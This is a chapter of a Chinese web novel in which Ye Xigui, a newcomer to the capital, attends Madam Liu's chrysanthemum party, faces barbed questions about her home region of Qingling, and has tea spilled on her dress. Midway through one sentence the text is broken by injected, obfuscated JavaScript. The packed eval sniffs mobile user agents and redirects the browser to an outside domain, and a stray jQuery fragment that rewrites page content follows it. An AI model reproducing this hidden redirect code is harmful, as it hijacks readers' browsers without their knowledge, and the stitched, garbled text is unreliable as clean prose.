在陆安琛的相助下,叶昔归终于得以轻松。
“有什么事跟春兰多商议,尽量不要一个人。”陆安琛这句话不仅是提醒叶昔归,同样也是提醒春兰。
“徐大人的府上很危险?”
叶昔归望着徐千霈想要在他的脸上看出什么,就见他眉目沉静,一点儿都看不出来有其他什么想法。
仿佛就是随口交代一句。
陆安琛道:“不危险。”
叶昔归微微皱眉想了想:“那是京城的人很危险?放心吧,我不会随便相信其他人的……你好像都不怎么相信我?”
有这样的感觉不是第一次,她紧接着嘟囔,“我要是答应的事可是一定会做到的。”
“我自然是相信你,只是京城与南浔乡不同。”陆安琛不知背后之人的目的,恐有难测的地方,仔细想想,他竟然为此多言,于是佯装轻叹,“既然如此,我以后就不啰嗦了。”
叶昔归连忙摆手急切道:“不是不是,我没有觉得你啰嗦!”
她明明不是这个意思。
或许是她没有表达清楚,“我知道你是担心我,就是觉得你应该和小时候一样多多相信我,我能一个人来京城找到你,自然是不会轻易被人骗的。”
就像是以前那样不用说话也能明白对方的意思。
她也天真地想过,再次重逢他们能以前一样。
只是现在的他们间相隔着若有若无的疏离,使她时时不安,难免就想东想西。
反观徐千霈似乎不怎么相信她说的最后一句。
“我看你需要被人骗一场才会警惕。”
叶昔归:“……”
她看上去就很好骗的样子吗?
正在此时,春兰出声提醒:“夫人,我们该出发了。”
“嗯嗯。”叶昔归转而又对他道,“放心放心,我身边还有春兰呢!”
“大人放心。”春兰向陆安琛行了一礼,然后便跟着叶昔归离开。
陆安琛站在原地凝视叶昔归的背影消失在拐角,眼神墨色比刚刚更加幽暗几分。
**
叶昔归和春兰往府门走去偶遇到康娘子,叶昔归迫不及待地和康娘子打招呼。
康娘子向叶昔归行礼,瞧见跟随叶昔归身侧的春兰,旋即解释道:“夫人安好,我听绿枝姑娘说今日夫人要出门,闲来无事就在住处附近走走。”
叶昔归道:“待在屋子里久了也会闷,你不熟悉府里的路就找绿枝和夏月她们陪你一起,免得走错了路。”
就她知道的,府上其他地方没有什么禁止,就是除了徐千霈的书房是外人不能靠近的。
康娘子道谢:“多谢夫人提醒,我也就是在外面透透气,我就不耽误夫人外出,夫人慢走。”
春兰一直都在观察康娘子,虽然福伯调查康娘子来历清楚,但陆安琛既然特意叮嘱,春兰自然会注意一二。
只是这位看起来似乎没有什么不同寻常的地方。
秋意渐浓,正值秋菊盛开时节,刘夫人邀请朝中官员多位夫人前去赏菊,其中就有叶昔归。
从徐府到刘府并不远,等叶昔归到了刘府下马车,发现这刘府大门竟然比徐府还要气派不少。
临近入门,叶昔归说不紧张是不可能的。
小声偷偷对春兰道:“今日要见的人我都不认识,要是有什么出错的地方,春兰你记得偷偷提醒我。”
“这位刘夫人的母家在朝中官职不低,为保家族繁荣,权贵互相联姻在京城屡见不鲜。”春兰点头答应,“夫人,其实不用担心,需要注意的地方我刚刚都已经告诉了你,刘大人与大人同在朝中为官,刘夫人定然也不会刻意为难你。”
“有你在我也就很安心了。”
叶昔归和春兰来到门前,早已等待许久的婢女领着她们往花园走去。
此时花园已经摆上坐席,可听到传来的笑语声。
等叶昔归一踏入,许多的目光直直落在在她的身上。
她记住春兰的话,面对众多的目光挺直腰背,不有一丝怯场。
“这位想必就是徐大人的夫人了。”
刘夫人年纪不过三十多岁,端庄温雅,通身气质不俗。
目光不经意上下打量叶昔归一番,从座椅上起身走到叶昔归面前。
叶昔归:“刘夫人。”
刘夫人淡淡一笑:“听闻你与徐大人是青梅竹马,如此情谊深厚,实属难得,快入座吧,我顺便给你介绍一下她们几位,我们各自夫君同在朝为陛下效力,日后我们也应当多多往来。”
“今日大家认识日后就是姐妹了。”
叶昔归对一上来就颇有热情的刘夫人蛮有好感的,听着她说话的语调也觉得很是舒服,但一想到徐千霈几次提醒,不由地观察其他人起来。
今日应邀前来都是平常与刘夫人关系较好的夫人,当然,除了叶昔归。
在刘夫人的介绍下,叶昔归尽可能把她们的身份记下来,免得等会认错。
坐在叶昔归身旁最近的是中丞夫人柳婉,年纪看起来二十多,容貌生得娇俏妩媚,瞧见叶昔归看来的目光,轻轻点头笑了笑。
叶昔归顿然眼睛一亮。
好漂亮!
柳婉其实对今日刘夫人办的赏菊宴没有什么兴趣,一来就知道今日是为了谁。
“春兰,她好好看!”
落座前,叶昔归偷偷跟春兰低语一句,眼中为之惊叹。
春兰对于柳婉还算知晓,众目睽睽下她不好与叶昔归交谈,好在很快叶昔归就被刘夫人说的赏菊吸引过去。
刘夫人显然是为此下了一番功夫,让人搬出来的菊花品种有数十种,都是少见名贵的品种。
“南楚商人经常往返京城,其中有三种是从南楚而来,我瞧着花色在京城从未见过,便花重金买下。”
其他人听到,纷纷发出赞叹。
叶昔归放眼望去只觉得个个都好看,其中不乏有颜色独特,也有形态各异,似乎没有什么惊奇的。
让她想起来南浔乡的山上田野也有很多不同颜色的花,远远望去漫山遍野都是花。
不过听着她们的称赞,叶昔归每一句都细细听着。
这时柳婉忽然柔声道:“听说南楚花比人娇弱,不知南楚的菊花能不能熬过京城的寒冬?”
“我记得徐夫人是来自青岭,青岭与南楚边界很近,想来青岭之地肯定很适宜种南楚的花吧?”
叶昔归一愣,不知怎么把话题扯到她身上。
南浔乡是在青岭没错,但青岭范围很大,距离南楚边界也是需要翻山越岭很久才能到达。
山路崎岖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268522|182197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难走,南楚的商队更不会从那里走。
她来这里总共说了不到三句话,柳婉又是怎么知道她是来自青岭?
此时她们的目光都落在自己的身上,让她不得不回话。
叶昔归如实道:“我不知道青岭适不适合种菊花,可每到秋天山上会有很多野菊花,与眼前的菊花很不一样,青岭山多地贫,在那里很多人过得贫苦,自然也不会有人特意去种花花草草。”
此言一出,四下静谧。
刘夫人脸色微变,眸色带着少许轻蔑。
“徐夫人见久了青岭荒芜,再见京城繁华必然不舍离去,说到青岭,我这里刚好有青岭新茶,这茶香鲜浓,南楚商人最为喜爱,今日要招待徐夫人,我特意购青岭今年新茶,徐夫人帮我鉴别一番,要是我被人欺骗定然要找那人算账。”
听到青岭茶叶,叶昔归眼中骤然失神。
她怎么可能对青岭茶叶不熟悉,南浔乡大半都栽种着茶树。
每到采茶时节,她都要赶在日出之前赶往茶园,只为摘取下那一抹最嫩的绿色,
直到有侍女把茶水放在她的面前,她方才缓缓回神。
春兰将一切看在眼底,目光扫了一圈,将这些人都记住。
刘夫人含笑道:“我府上后院花园还有不少菊花,我看你们也喜欢,不如我让人给你们分一分,带些回去栽种多添几分秋色。”
众人纷纷应和,让身边服侍的人跟着去后院,唯有叶昔归身旁的春兰未动。
刘夫人视线移向春兰,故意不解询问:“徐夫人身边的婢女怎么不去?是不喜欢我府上的花吗?”
春兰知道刘夫人是故意支开她,欲要开口就听到叶昔归说:“你去吧,我在这里等你回来。”
“……是,夫人。”
春兰有心提醒叶昔归却也知道此时她的身份,只能遵从吩咐。
叶昔归明白春兰的担忧,小声说:“我知道的,不用担心。”
春兰点头,知道叶昔归并非一无所知,心里放心了不少。
想着快去快回应该用不了多久。
春兰刚走不久,就有刘府的侍女来到叶昔归身边添茶。
下一刻,侍女不小心打翻茶杯,温热的茶水打湿叶昔归的裙摆。
叶昔归伸手擦拭发现茶水已经浸透了衣裙。
柳婉惊讶出声:“你这个奴婢怎么做事,弄湿了徐夫人的衣裳!”
打翻茶水的侍女顿时被吓得跪地求饶,声音也惊动了刘夫人。
刘夫人蹙眉道:“新来的奴婢一点规矩都没有学好,纵然我府上的奴婢我也不会护着,夫人如何惩罚都是她应受的,若是烫伤了夫人我该如何与徐大人交代。”
叶昔归看着地上跪地瑟瑟发抖的侍女,摇摇头:“今日太阳很好,很快就会干,不必惩罚她了,想来她也不是故意的。”
刘夫人眸光转动,轻然笑了笑:“徐夫人善心,但衣裳湿了穿在身上难受,不如先去房间弄干衣裳。”
叶昔归不知道刘夫人口里的善心是不是真的在夸她,可她的确不想牵连没有无辜的人。
只是她不懂,她与在场的人都是第一次见面,为什么一定要针对她?
叶昔归深吸一口气,目光直直望向上方的刘夫人。
“刘夫人,一定要我去吗?”